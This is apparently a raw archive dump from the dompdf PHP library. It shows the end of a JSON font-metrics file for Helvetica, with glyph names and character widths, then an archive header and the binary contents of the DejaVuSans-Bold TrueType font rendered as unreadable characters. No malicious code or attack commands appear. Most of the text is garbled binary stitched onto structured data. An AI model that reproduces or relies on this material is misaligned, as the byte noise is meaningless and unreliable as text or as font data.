        "192": "Agrave",
        "215": "multiply",
        "250": "uacute",
        "255": "ydieresis",
        "238": "icircumflex",
        "202": "Ecircumflex",
        "228": "adieresis",
        "235": "edieresis",
        "205": "Iacute",
        "177": "plusminus",
        "166": "brokenbar",
        "174": "registered",
        "200": "Egrave",
        "142": "Zcaron",
        "208": "Eth",
        "199": "Ccedilla",
        "193": "Aacute",
        "196": "Adieresis",
        "232": "egrave",
        "211": "Oacute",
        "243": "oacute",
        "239": "idieresis",
        "212": "Ocircumflex",
        "217": "Ugrave",
        "254": "thorn",
        "178": "twosuperior",
        "214": "Odieresis",
        "181": "mu",
        "236": "igrave",
        "190": "threequarters",
        "153": "trademark",
        "204": "Igrave",
        "189": "onehalf",
        "244": "ocircumflex",
        "241": "ntilde",
        "201": "Eacute",
        "188": "onequarter",
        "138": "Scaron",
        "176": "degree",
        "242": "ograve",
        "249": "ugrave",
        "209": "Ntilde",
        "245": "otilde",
        "195": "Atilde",
        "197": "Aring",
        "213": "Otilde",
        "206": "Icircumflex",
        "172": "logicalnot",
        "246": "odieresis",
        "252": "udieresis",
        "240": "eth",
        "158": "zcaron",
        "185": "onesuperior",
        "128": "Euro"
    },
    "isUnicode": false,
    "FontName": "Helvetica",
    "FullName": "Helvetica",
    "FamilyName": "Helvetica",
    "Weight": "Medium",
    "ItalicAngle": "0",
    "IsFixedPitch": "false",
    "CharacterSet": "ExtendedRoman",
    "FontBBox": [
        "-166",
        "-225",
        "1000",
        "931"
    ],
    "UnderlinePosition": "-100",
    "UnderlineThickness": "50",
    "Version": "002.000",
    "EncodingScheme": "WinAnsiEncoding",
    "CapHeight": "718",
    "XHeight": "523",
    "Ascender": "718",
    "Descender": "-207",
    "StdHW": "76",
    "StdVW": "88",
    "StartCharMetrics": "317",
    "C": {
        "32": 278,
        "160": 278,
        "33": 278,
        "34": 355,
        "35": 556,
        "36": 556,
        "37": 889,
        "38": 667,
        "146": 222,
        "40": 333,
        "41": 333,
        "42": 389,
        "43": 584,
        "44": 278,
        "45": 333,
        "173": 333,
        "46": 278,
        "47": 278,
        "48": 556,
        "49": 556,
        "50": 556,
        "51": 556,
        "52": 556,
        "53": 556,
        "54": 556,
        "55": 556,
        "56": 556,
        "57": 556,
        "58": 278,
        "59": 278,
        "60": 584,
        "61": 584,
        "62": 584,
        "63": 556,
        "64": 1015,
        "65": 667,
        "66": 667,
        "67": 722,
        "68": 722,
        "69": 667,
        "70": 611,
        "71": 778,
        "72": 722,
        "73": 278,
        "74": 500,
        "75": 667,
        "76": 556,
        "77": 833,
        "78": 722,
        "79": 778,
        "80": 667,
        "81": 778,
        "82": 722,
        "83": 667,
        "84": 611,
        "85": 722,
        "86": 667,
        "87": 944,
        "88": 667,
        "89": 667,
        "90": 611,
        "91": 278,
        "92": 278,
        "93": 278,
        "94": 469,
        "95": 556,
        "145": 222,
        "97": 556,
        "98": 556,
        "99": 500,
        "100": 556,
        "101": 556,
        "102": 278,
        "103": 556,
        "104": 556,
        "105": 222,
        "106": 222,
        "107": 500,
        "108": 222,
        "109": 833,
        "110": 556,
        "111": 556,
        "112": 556,
        "113": 556,
        "114": 333,
        "115": 500,
        "116": 278,
        "117": 556,
        "118": 500,
        "119": 722,
        "120": 500,
        "121": 500,
        "122": 500,
        "123": 334,
        "124": 260,
        "125": 334,
        "126": 584,
        "161": 333,
        "162": 556,
        "163": 556,
        "fraction": 167,
        "165": 556,
        "131": 556,
        "167": 556,
        "164": 556,
        "39": 191,
        "147": 333,
        "171": 556,
        "139": 333,
        "155": 333,
        "fi": 500,
        "fl": 500,
        "150": 556,
        "134": 556,
        "135": 556,
        "183": 278,
        "182": 537,
        "149": 350,
        "130": 222,
        "132": 333,
        "148": 333,
        "187": 556,
        "133": 1000,
        "137": 1000,
        "191": 611,
        "96": 333,
        "180": 333,
        "136": 333,
        "152": 333,
        "175": 333,
        "breve": 333,
        "dotaccent": 333,
        "168": 333,
        "ring": 333,
        "184": 333,
        "hungarumlaut": 333,
        "ogonek": 333,
        "caron": 333,
        "151": 1000,
        "198": 1000,
        "170": 370,
        "Lslash": 556,
        "216": 778,
        "140": 1000,
        "186": 365,
        "230": 889,
        "dotlessi": 278,
        "lslash": 222,
        "248": 611,
        "156": 944,
        "223": 611,
        "207": 278,
        "233": 556,
        "abreve": 556,
        "uhungarumlaut": 556,
        "ecaron": 556,
        "159": 667,
        "247": 584,
        "221": 667,
        "194": 667,
        "225": 556,
        "219": 722,
        "253": 500,
        "scommaaccent": 500,
        "234": 556,
        "Uring": 722,
        "220": 722,
        "aogonek": 556,
        "218": 722,
        "uogonek": 556,
        "203": 667,
        "Dcroat": 722,
        "commaaccent": 250,
        "169": 737,
        "Emacron": 667,
        "ccaron": 500,
        "229": 556,
        "Ncommaaccent": 722,
        "lacute": 222,
        "224": 556,
        "Tcommaaccent": 611,
        "Cacute": 722,
        "227": 556,
        "Edotaccent": 667,
        "154": 500,
        "scedilla": 500,
        "237": 278,
        "lozenge": 471,
        "Rcaron": 722,
        "Gcommaaccent": 778,
        "251": 556,
        "226": 556,
        "Amacron": 667,
        "rcaron": 333,
        "231": 500,
        "Zdotaccent": 611,
        "222": 667,
        "Omacron": 778,
        "Racute": 722,
        "Sacute": 667,
        "dcaron": 643,
        "Umacron": 722,
        "uring": 556,
        "179": 333,
        "210": 778,
        "192": 667,
        "Abreve": 667,
        "215": 584,
        "250": 556,
        "Tcaron": 611,
        "partialdiff": 476,
        "255": 500,
        "Nacute": 722,
        "238": 278,
        "202": 667,
        "228": 556,
        "235": 556,
        "cacute": 500,
        "nacute": 556,
        "umacron": 556,
        "Ncaron": 722,
        "205": 278,
        "177": 584,
        "166": 260,
        "174": 737,
        "Gbreve": 778,
        "Idotaccent": 278,
        "summation": 600,
        "200": 667,
        "racute": 333,
        "omacron": 556,
        "Zacute": 611,
        "142": 611,
        "greaterequal": 549,
        "208": 722,
        "199": 722,
        "lcommaaccent": 222,
        "tcaron": 317,
        "eogonek": 556,
        "Uogonek": 722,
        "193": 667,
        "196": 667,
        "232": 556,
        "zacute": 500,
        "iogonek": 222,
        "211": 778,
        "243": 556,
        "amacron": 556,
        "sacute": 500,
        "239": 278,
        "212": 778,
        "217": 722,
        "Delta": 612,
        "254": 556,
        "178": 333,
        "214": 778,
        "181": 556,
        "236": 278,
        "ohungarumlaut": 556,
        "Eogonek": 667,
        "dcroat": 556,
        "190": 834,
        "Scedilla": 667,
        "lcaron": 299,
        "Kcommaaccent": 667,
        "Lacute": 556,
        "153": 1000,
        "edotaccent": 556,
        "204": 278,
        "Imacron": 278,
        "Lcaron": 556,
        "189": 834,
        "lessequal": 549,
        "244": 556,
        "241": 556,
        "Uhungarumlaut": 722,
        "201": 667,
        "emacron": 556,
        "gbreve": 556,
        "188": 834,
        "138": 667,
        "Scommaaccent": 667,
        "Ohungarumlaut": 778,
        "176": 400,
        "242": 556,
        "Ccaron": 722,
        "249": 556,
        "radical": 453,
        "Dcaron": 722,
        "rcommaaccent": 333,
        "209": 722,
        "245": 556,
        "Rcommaaccent": 722,
        "Lcommaaccent": 556,
        "195": 667,
        "Aogonek": 667,
        "197": 667,
        "213": 778,
        "zdotaccent": 500,
        "Ecaron": 667,
        "Iogonek": 278,
        "kcommaaccent": 500,
        "minus": 584,
        "206": 278,
        "ncaron": 556,
        "tcommaaccent": 278,
        "172": 584,
        "246": 556,
        "252": 556,
        "notequal": 549,
        "gcommaaccent": 556,
        "240": 556,
        "158": 500,
        "ncommaaccent": 556,
        "185": 333,
        "imacron": 278,
        "128": 556
    },
    "CIDtoGID_Compressed": true,
    "CIDtoGID": "eJwDAAAAAAE=",
    "_version_": 6
}vendor/dompdf/dompdf/lib/fonts/DejaVuSans-Bold.ttf000066600002542224151150443000016072 0ustar000FFTMs���<GDEF����X8GPOS�`���6GSUB�,V���OS/2ZW����Vcmap�G���^cvt >�1�XTfpgm[k����gasp�Xglyf�8��d�head
���d6hhea����$hmtx|9���`�kern��u	�$locaX�	/�`�maxpy-	�� namer"��	��=5post�`�	���
prep|a��
����=����)��)(0Y�����������������������	


  !%&&'KLLMOPTUst������?@@ABCJKQRWX���� )*,-���������������������������������cddeeffgijjkuv����
<==>lmtu����3
�JDFLTzarab�armn�brai�cans�cher�cyrl�geor�grekhanihebrkana*lao 4latnDmath�nko �ogam�runr�tfng�thai���KUR SND URD ����������MKD SRB ��������������4ISM 4KSM 4LSM 4MOL 4NSM 4ROM 4SKS 4SSM 4��������������kern2kern8mark@markNmarkTmkmk\mkmkdmkmkj
	
 (08@JRZbjrz�������^`~!T"T$ 8�:;�A�B DBU0nPo���0&:�����vy~vy~��*06<BHNTZ`flrx~�����:�:�::��:�r:�	��4	�4�	`Ltuwxz{|}��mnopqrstLtuwxz{|}��mnopqrstRX^djpv|���������������������������������$�*��JGH
�l�lN>X &,�G���&��-��-��G@CDEFIRW &,28�*��*`�*��-|�*~�*�h.�$JPV\bhntz����������������������
������������������������M����������t�����������������������������������H�%����������������������	������	�������� "#	������	��
������!"#�������������������$*06<BHNTZ����������������������������H��������6��7pv|���������������������$*06<BHNTZ`flrx~����������h�h��f��������>�����������f��f��������f����>�����=����>��>���������jjj����������f��f������������������������������������������������������ ��&-./==5��6
����������������%,==6��78�����$*06<BHNTZ`flrx~��������������������� &,�{�{��{��{�����������������{��{��{��{��{��{��{������������{�{�����������{��{�{��{��������������{��{�������������{��{��{��{��{��{��{��{��{��{��{��{���$6HZl~�q��^�jq��^�jq��^�jq��^�jq��^��q��^��q��^�jq��^�j��&vy~>DJPV\bhpx~�����������������8u����
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������							$	*	0	6	<	B	H	N	T	Z	`	f	l	r	x	~	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�





 
&
,
2
8
>
D
J
P
V
\
b
h
n
t
z
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~���������������������





 
&
,
2
8
>
D
J
P
V
\
b
h
n
t
z
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz��������\���Hq��&~�������0�`��t�w�����
_��_��q��_��R��_����X�j�j�j,��,��,��&�j&�jX��X�v��������������j��j,��,����8 ����8 �>?��R�>X�jq��R��R���j ���j�j���k�j���j��,��,��,��,��,��,��,��&�j0�^0�p0�p&�j/��&�j&�j&�jX��X��X��X��X��X��X��X��X�������������������j,����83�p3�p��83�v��8 �� ����j��j��j��8��8��v��j��j��j��p��D��j �>k����DR�>R�>��R�>~�j,��q��q��q��q��R��R��S��X�jd01���e��dx�3\������Q���QQ�������������������������������j�j�������j�j�������j�j��������8��8������8��8����,��,��������,��,��������,��,��������,��,��������/��/��&�j&�j&�j&�j&�j&�jX��X��X��X����j��j��j��j��j��j��j��j��D��D
�v
�v��j��j��j��jR�>R��R�>R��������~�j~����j��� �8 �8,�j,�jq��q��q��q��q��q��q��q��S��S��������������R��R����\��\^��^��^��,��^��^��^��^��^��^��^��^��^��^��^��
_��_��_��_��q��q��_��_��R��R��������_��_��������\��\X�j&�j�j�j�������j�j������,��,����\��\,��,��������,��,��������&�j&�j&�j&�jX��X��X��X���������j�j�������j�j��������j��j��������j��j��j��j�j�j��j��j�j�j�����B�������B����8��8���� ���������8��8��j��j �> �>������?��?����j��jR�>R��������X�j&�j��j���q��q��R��R��R��R����\��\�j��������8����������������k�������j������,�J������,��������,��������,��������X��X�� �>������R����\��\X��&�jddd000111���������eee������dddxxx���333\\\������������������QQQ���������QQQQQQ0�^0�p0�p&�j&�jX��X��X��X��X�����e�pe�p���e��e�����e��e�������p��p�����j��j��j�j�j����B��3�p������3�p������3�v������������������j�j�j��j��j��j��8��j��j��v
��
����j��j��j��p
��
����j��j��j �>������ �>������k��v����������\��\��c�������������'DOhjs8��B��D������R�g�(�*;�X`�bb�u���0 &vy~BHNTZ`flt|����������������������06<BHNTZ`flrx~�����������x0�0U0�000�00�@0@0@00�0�0���0��0x�~�0 '-/35578
:;=A���0���$6HZl~�qr	:qr	:qr	�qr	�qr	�qr	�qr	�qr	��� Ltuwxz{|}���mnopqrst^flrx~�����������������2`�`�������������`��������P��[������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~���������������������						 	&	,	2	8	>	D	J	P	V	\	b	h	n	t	z	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�






"
(
.
4
:
@
F
L
R
X
^
d
j
p
v
|
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������





"
(
.
4
:
@
F
L
R
X
^
d
j
p
v
|
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz���������������^^�_�L_�_4qF_r&_r���������������� � � � � � �r�r&~&� L�L ��R���Rq�&R&R���L�����������������J�����@�����@�����@���������� n � � � � � � 
 �� � � � � �rqr L L L L L L�L�L&x&x&x�� �&x&x&x&x&x&x�4�4�f���9_�9�~L�
q�qxqx�
&�&�&R�Rd�0�1�������e���3�[��_���3���\��������������Q�������Q�Q����������������������������������������������� L L���� L L�������������������������������������������������@�@ P P n n&x&x^^&x&x^�^�&x&x^�^�&x&xll����9_9e����~L~��L��99��qxqxq�q�qxqx�
�
&R����������&R������^�^�^:,�^�^�^�^:^:^�^�^^^:^:�L_�_�_4_4qFqF_r_r&��F�F_r_r���������tXt�����B�B�����F�F�����������������
�
���������
�
 � �  � � ����� � ��� � � � � � �B�B�r�r�r�r�r�r�r�r&~��&~B�&���&�B� L L�n�n�L&R�n�n � �^^���r�rR�RR�R�R��z�B�B�RXR�L��q�q�&R��&R������������ L�L�L&R�L�L�������B�B���x�x������J�����@�����
���� � ��4�4�4����� �XRd�d�d�0�0�0�1�1�1�������������������e�e�e�������3�3�3�[�[�[����_�_�_�������3�3�3�������\�\�\����������������������������������������Q�Q�Q�������������������Q�Q�Q�Q�Q�Q������@���� � � � � �� ��� ����� ����� � � � �����r�r�rqxqr9x L�L�L L�F�F L�L�L&R�n�n&R����&x�x�x&x^^����� �^^&x^�^�&x^�^�&xff�4�4�4�f�f�f��r�r�z�B�B�z�B�B3����((22;;Ohjs��'��)��h�w�R�g�(�*;�X`�bb�u���0 Ltuwxz{|}���mnopqrst~���������������������
"(.42`�`�������������{�{�{�{�{�{�{�{�`���������<BHNTZ`flrx~�����������������Q����@�������`����(&��@�E\�U
�
�#%'=KKbcGHJ�0>DJPV\bhntz�������������������Q`�`�`�`�`�`��`�`�`�`�`�`�```���`���`�(`&`�`��@`�`E�J
��
��#=``bc@CDEFIRSTUVW28>DJPV\bhnt````````````����8>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������������������������������������������������������������������������������������������������������������������������������������������������������������%$=D]��4��5��6��8��:();AA=HH>QR?YYAaaBy{CFGHI**J77KTTLM��N		O��Y��\��^��_��acg-s25�<H�LP�??����df
��bNj$*06<�	o�^��	kZ�����-			��
�{�{�3hntz����������������������
"(.4:@FLRX^djpv|����f��|zrrf���_^^_��Tf�f����^^�]f�fH���R��=5�R�Rf���r_�5�R3$&'(+,012=DGHKLPQRX]������-HQRYayz{*7T�BCH?���T
��DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~���������������������						 	&	,	2	8	>	D	J	P	V	\	b	h	n	t	z	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�






"
(
.
4
:
@
F
L
R
X
^
d
j
p
v
|
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
���������� �	�|�Wzz�Rq��of|f���>f����������R�^_�R�d/���R�R^Z�������RTf'�R��f����	���^^��j����]�	f�qfz��~��R��RH���R�d�_�R >��z�R_�R�R�^���R�����R����=��F_�R��R��R���R��R���R5^6>c^�R�R//�R/�R��R��R��G�1�RUUU��^�R^�R6�ZZZ�Rc�R��R��R{�R6�R��R������T�RRR�RR�R�����RfZy��_�R�T�R��ZZ�RZ7�R�!�Rdz�R=fz^^f��f������b#�D������a���T�6�R	�	�M�M	����	�t�t	������R�"���Y$�R6f��i�R�#>��R��}�~�R�sk��|��W�q���Tf��R�f��WU���R�R�mW�R��R"�R~�Rr�Vbe@��`\`\`\�R~��'+%�C�m|�R5��Rf�RJ^�R��R��R`�Ro����Rq�o��^�Z�s���9���zV	>������R��+f��QT�����R�����~Z�S����R���������5_�R�d
�R_$=
D]$��>��?��A��B��C��E��G��H��I��J��KLM()N--PAAQHHRJJSLLTQRUYZWaaYddZnp[vv^y{_��b��c��df
gmik�mm��JJ�����������44�}~�hh�kp�ss�u{�������������		�	�	�����������������	��
����
����������������)��.��1��35
9;-G25W;P[stqv�s������������������?@�WW�aa�kk����	������	��
������!"#�������������������$*06<BHNTZ�����������������������
����������������H������������>.�c����������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������							$	*	0	6	<	B	H	N	T	Z	`	f	l	r	x	~	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�





 
&
,
2
8
>
D
J
P
V
\
b
h
n
t
z
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~���������������������





 
&
,
2
8
>
D
J
P
V
\
b
h
n
t
z
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
"(.4:@FLRX^djpv|��������������������$*06<BHNTZ`flrx~��������������������� &,28>DJPV\bhntz����������������������
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~���������������������
��������������������� ���	�������W�z�z�q�|���o�f�"�f�������>��f�������{d��{Z��{���{d�^/_/d�d�/{�{�{�{�{U{Z{���{�{�{�{�{T{f�'{�{���{��{Z�����^{�{j{������d�m�]����{	��{��f������z�����d�y�Y�o�f�m���Z{����~���z����{��T{H����{�{Z�d���_{ �>�����{z�_/Z���U{���{{�{{d��{�{Z�Z��{�{�{={�{�{F{_{���{�{�{�{�{d�d�5/^{6{>�c�d�d�/{/{/{�{�{�{�{G{�{1�9{9�9{U{U{'{�{Z{Z{Z{_����{{�A{���{{�{�{�{���{T{T{T{T{��������f�Z{y{���{_/�{j{������Z�Z�Z�7��{!�d�z�v{���{��={���{��P{�{���{�{���{�{�{�{�{�{({�{({z{����(�z{L��{�{V{�{�{_/f��{={�{��z�z�Y�� � �����������Y�f�����W�f�Y�"���������Y�0������$� �P�����{���{E{U{�{{{�{�{[{D{�{�{�{�{�{`{�{���{�{�{9{9{[{�{�{E{�{�{�{Z{^/^/_�z{G�D{���{��T{f��{��f��{G��{�{��{f��{f��{f�d���{W���W��{D{f��{E{��{[{4{V{���{f��{[{�{�{'{�{�{�{�{b{#{�{D{�{�{�{�{�{�{`{�{�{�{T{�{[{��������{6{�{	�Z�	�Z�	�Z�	�Z������������5�������Y�${6�f�
����i�������D>�����R������}1�{~{��s���d�|�y�|�"����{��W�d�q�d���T{f�����{f��{�{W��{({9��{{�������{��>{���{U{[{D{f��{&�z{��m{`{`{��m{W�d�"�~�={b{e�@{��{��{`�\{`�\{`�\{~���|�'���%���C{��m{"��{���{f��{J�^{���{0�f�o��{���{q�d�o��{��U{��Z{��s��9{������z�V�	�>���������������+�f�����Q��T�����{���{�����{�{�{�{Z{*�{S{�{�{�{�{����������������o�5{_{��d�^{^{^{
��{�$=
D]$��>��?��A��B��C��E��F��H��IJ()KACMHJPLLSORTTUXX]Z__`aaaffbijcmpet{i��q��r��s��tv
g}ik�mm��FV�X^�ef�jk�mn�pp�xx������������������0��F��J�R
T$$Z+,[/7]AAf\\g__hcci}~j��l��m��o��p��q��t��v��whhxjpyss�u{����������������������	
	�	�	�����������������������������������������
�
���������������������������������
��-25:Pst/v�1��C��E��F��I��KQSX>@YWW\aa]ee^hi_kka��b��������!#$��)��/6==@��AB
"(.4:@FLRX^djpv|���������������������$*06<BHNTZ`flrx~����{�{��{��{��{��{��{��{��{��{��{��{��{��{��{��{��{��{�p��pr�pr�{�pr��{�{�{�{�r�{��{��{��{��{�{�{�{�A{�O{��{��{��{��{��{��{��{��{��{�{�{�{�{��{��{�{��{��{��{��{��{��{��{��{��{��{��{��{4�:<BHNTZ`flrx~��������������������f@R������V�FTf��fH���R���R�R��$(,28<=DHLRX\]���Yayz{*7T�?���@�%8���k���Y����&&&�a���u���<�����a�a�����<�����Dr�Dr������������/&&KK&�k�k�������������������}������������������������}������&�����������N�������������}�����������&&��������a���u�������)���&����������������D����&���9�a&�a&&&����������������a/�����������
�\�<�,�@�a�=�a���������k�����u������������������������������D�Y���Y�������������������������Y������������&&������N�<�����D�D�D�k��D�D�D�D�D�k���D��������������V��������������V&�Y�Y�}�}�a�D��&����������&&&�a���u���<�����a�a�����<���Dr�Dr�
��������a���u����������������a/�����������
���<���a��a/�������&K���a��)���a����&��H$$%%&&''))**..//	22
334455
66778899::;;<<==DDIINNUUYYZZ\\����������
����������������������������������	��	 

  ""&&!00::??}}"
�
�
�
�"
�
�#
�
�$#r$$&&--2266	77
8899::
;;<<DDFFHHLLOORRUUVVXXYYZZ\\�������������������������� ���� ��!����!��"��#����#������$��%��$��%��$��%����������&��&��&��&��&&&'()**  	!!""	##$$+&&,**-++.,,---...-//.001122-33.55.66/880991::��%��&��&��*��+��&��0��1	~	~/	�	�/	�	�2	�	�0	�	�3
�
�4
�
�567X$%&')*./23456789:;<=DINUYZ\��������������������������������������� "&0:?}
�
�
�
�`$X�������xRjRVX\^b
dh
J�DFLTzarab�armn�brai�cans�cher�cyrl�georgrek$hani4hebr@kanaRlao ^latnjmath�nko �ogamrunrtfng(thai4	KUR SND (URD (������
������MKD SRB ����������������FCAT ZESP ZGAL ZISM bKSM bLSM bMOL vNSM bROM vSKS bSSM b����������
�������� RQD�aalt�aalt�aalt�case�ccmp�ccmp�ccmp�ccmp�dlig�dlig�dlig�finafinahlighliginitinitliga$liga,locl2locl8medi>mediDrligJrligTsalt\saltbsalth'
	
(RZbjrz��������������$,4<DLT\dlt|����	R	�
N��
L��T�F��		F	d	h		l	
n	P2f	�	

H
|4D���<@Db�����4<DLT\n,,,H�!!
�
�u� �!!
�
�u�&Bux{~���������������������������Bvy|���������������������������Bwz}����������������������������  B9&&99���>9LM�*_������������������������������������	+	�������i$=EEGGIIKKLMNOWW�������������������������������������������������������		  ""$$&&((**,,..0022446688:;==??AAHHRRTTVVyz����������������������**__��������������������������	+	+	�	�����&   &$$4F������!!$$4F���""$$4F���##$$4F���$$$$4F������%%(0���RU&.6���VVXZ&.6���[\^_&.6���`bdd&(0���eh&
��0D��2�txz|~�������������������������������$���*-���036�����"`��X�� ��������!��$

>(0,Z"%(46+.:9DBFHP]JbPhjs��#��%�R����������������������N� &���,/���25
8�������#�	&@*2.\!$'*(8-0<;R_L
TTVVX\ahjprs������)��O�R����������������������M�%���+.���14
	7�������"��%?)1-[ #&)'7,/;:Q^K
TTVVX\ahjprs������)��O2 ozrzryovvyz~&8Jlmznzs}pzt}qz
qxpwnumttxswtuwxz}
������>
$�~�z�x�~�z�x��6"(�IO�IL�O�L�II�Rl��$*06<t{rzpynxlwkviugtS~Q}P| &,u{szqyoxmwhtR}T}Uiqs�3'B8	
�������������WV�WA�(:FPZfr,"+*"�$;�V�0�(/�F�X�R")567DF� � hgiefkj$:@GMU[hgiefkj$:@GMU[kWa>,-DO*"&kWa�>,-DO\�9�=������������ 
��e!?@���hifg
LM�*_���	+	������������������jjjjj��123c�X��3�3��f�n����
$`) PfEd  ����m�`���,
�T,
����~����OSXZbw���%V_������
:UWZpt����������?��������������������5JR��>Pj�����Gv�#.[jx{}����EMWY[]}������� d q � � � � � � � � �!	!I!K!N!�!�###!#(#,#u#z#}#�#�#�#�#�#�#�$#$i&�&�&�&�''	'''K'M'R'V'^'�'�'�'�'�'�(�)))A)�)�)�)�***/*k*�*�*�++$+T,w,-%-e-o...%..M����G�M�Q�W�n���������+�A�K�S�W�g������������&�A����6�<�>�A�D�O����������#�t�������� ����QWZ\pz����1Ya�����	!@WZ`ty���������?��������������������	7LT��@Rt����Fn�&0]w{}��� HPY[]_�������  j t � � � � � � � �!!!K!N!P!�!�###$#+#s#z#}#�#�#�#�#�#�#�$"$`%&�&�&�'''')'M'O'V'X'a'�'�'�'�'�'�))
)@)�)�)�)�***/*j*}*�*�+++S,`,y--0-o..."..M��ЦD�L�P�T�b���������"�0�F�N�V�d�������������(�����8�>�@�C�F�R�������� �p�v���������������������������������������������a�_�W�R�A�@�?�7�2�/�.�)�(�&�!���������,�)�'������������������������������������������������������`�^������h�g�e�d�c�W�U�T�M�8�4�������������������������������������������������������������9�5�3�*�����������n�������������������~�e�`�\�V�T� �����s�o�f�T��	������|�{������@�:�8�0ğm�l�l�l�l�lyl^lXlVk�k�k�k�k�k�k�k�k�k�k�k�kQ$Qkj�����������jieSSC�����
 ~��b���������O�QSWXZZ\bpwz����#��$�%81V�Y_�a��������%��'��BG	
IKLMN!:O@UiWWZZ�`p�tt�y���������������������������??"��#��%��&��(��)��*��.��5��8��9��:��<��I��L��Q��R��X��b��d����	�5�7J�LR�T���o��>�@P�Rj�t���!��.��>��?FG@nvB��Kh#}&.�0[�]j�wx�{{�}}������������	�
 E
HM
<PW
BYY
J[[
K]]
L_}
M��
l��
���
���
���
���
���
�  d
� j qH t �P � �k � �x � �� � �� � �� � �� � �� � ��!!	�!!I�!K!K�!N!N�!P!��!�!�!�###
�##!
�#$#(
�#+#,
�#s#u
�#z#z
�#}#}
�#�#�
�#�#�
�#�#�
�#�#�
�#�#�
�#�#�
�#�#�
�$"$#
�$`$i
�%&�
�&�&�u&�&��&�&��''�''	�'''�')'K�'M'M�'O'R�'V'V�'X'^�'a'��'�'�'�'�5'�'�C'�'�E'�'�F'�(�L))\)
)^)@)A`)�)�b)�)�d)�)�l)�)�m**o**r*/*/�*j*k�*}*��*�*��*�*��++�++$�+S+T�,`,w�,y,�--%�-0-e!-o-oW..X..Y.".%Z....^M�M�_������D�G��L�M��P�Q��T�W��b�n�����������������������"�+�0�A�F�K �N�S&�V�W,�d�g.����2����6����<����>����I��Q��&k�(�A��������������6��8�<��>�>��@�A��C�D��F�O��R�������9����=����G����I����O��S� �#c�p�tg�v��l����������� #��V�8�9s�;�>u�@�Dy�F�F~�J�P�R�k������V׏���������0�"�������������������-�.��1�1��5�5���#��%�+��-�@��C�C
	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdeix�pk�vj����s��gw���U�l|>���cn�T��m}	b���
�
�
�
�
����:'���y
�������������������q���z���f3f��=��ff�T��bf��Tfm�f�3bq%����f��HZfm���99Xm=���fuf��f9��{�{X3fLfL��J#��DD��f?�;����P��w
��/X�#��/55��3��X
��������sf��+�����j-����j���!f�����#^�`�����3B3\����fy```{�������j\{������`b��X������P����1��L`��%�!J�J��7{������'��}3��Xy�9b�������s&�, �%Id�@QX �Y!-,�%Id�@QX �Y!-,  �P�
y ���PXY��%�%#� �P�
y ���PXY��%�-,KPX �(EDY!-,�%E`D-,KSX�%�%EDY!!-,ED-,�%�%I�%�%I`� ch ��#:�e:-��f��f��&&��/���1����0!%!!f�s����r)��	@���
�<�2991/��0!!!!h3��3h����^������h�@������1�<�20###h�����+��+�)�K@1��	�


	 ��91/<�2�<<�22�<<�220!3!!!!#!#!5!!5!!!�`a�a��E��`�`��`�`��HF��R`P��F��������������������#*1s@?
%$+	,#��,���,�(/($	+/ 2���<�<��991/��������99999990#.''.546?3.'>54&�}�os�y!����d�ed�e ���GUN�WWP��-.);?7*����	��"�*/��(����BE5;C����BBDCB����'3c@5%�.�"�(�����41+			1	+%4�������991�2�<�����0KSX��Y""32654&'2#"&546#3!2#"&546"32654&3GNMHHLMG��ֺ���%������պ��պHNNHHMNh{rs{{sr{�ؽ��۽���
ٽ��ڽ�٨|rs}}sr|{����&06@Y
	
	,-./+0()'%0'-	�-�!����	'*$0$*$
	*
1��������99999991/������99990KSX�9�9��9Y"�']@�		
	'0	
0%/
/%&?
?@K
KK/K0ZZUZ
ZU(\.\0X2_2dig`i
id&�2,	
''*95005@JI'I(WW\['ggl]]	>7!!'# 5467.54632.#"3267�577oc%�Xbi������*(��[�k^�PMU1�AB�wCt2�>F�n���k��mFDے�j5j:����0.;6"W��/wGs�))����@
����1��0#����+���
@�����2991��0!&547!�י���)����������;��:����
@
��

��2�991��0654'!�����)������������?��C�)9�F@(

	
��
		
�<�2�<�2991��2��290
%#'-73%��JL�����LN��LN�M�������X������X�����"@�	�
�<�<�1/�<�<�0!!#!5!�
���
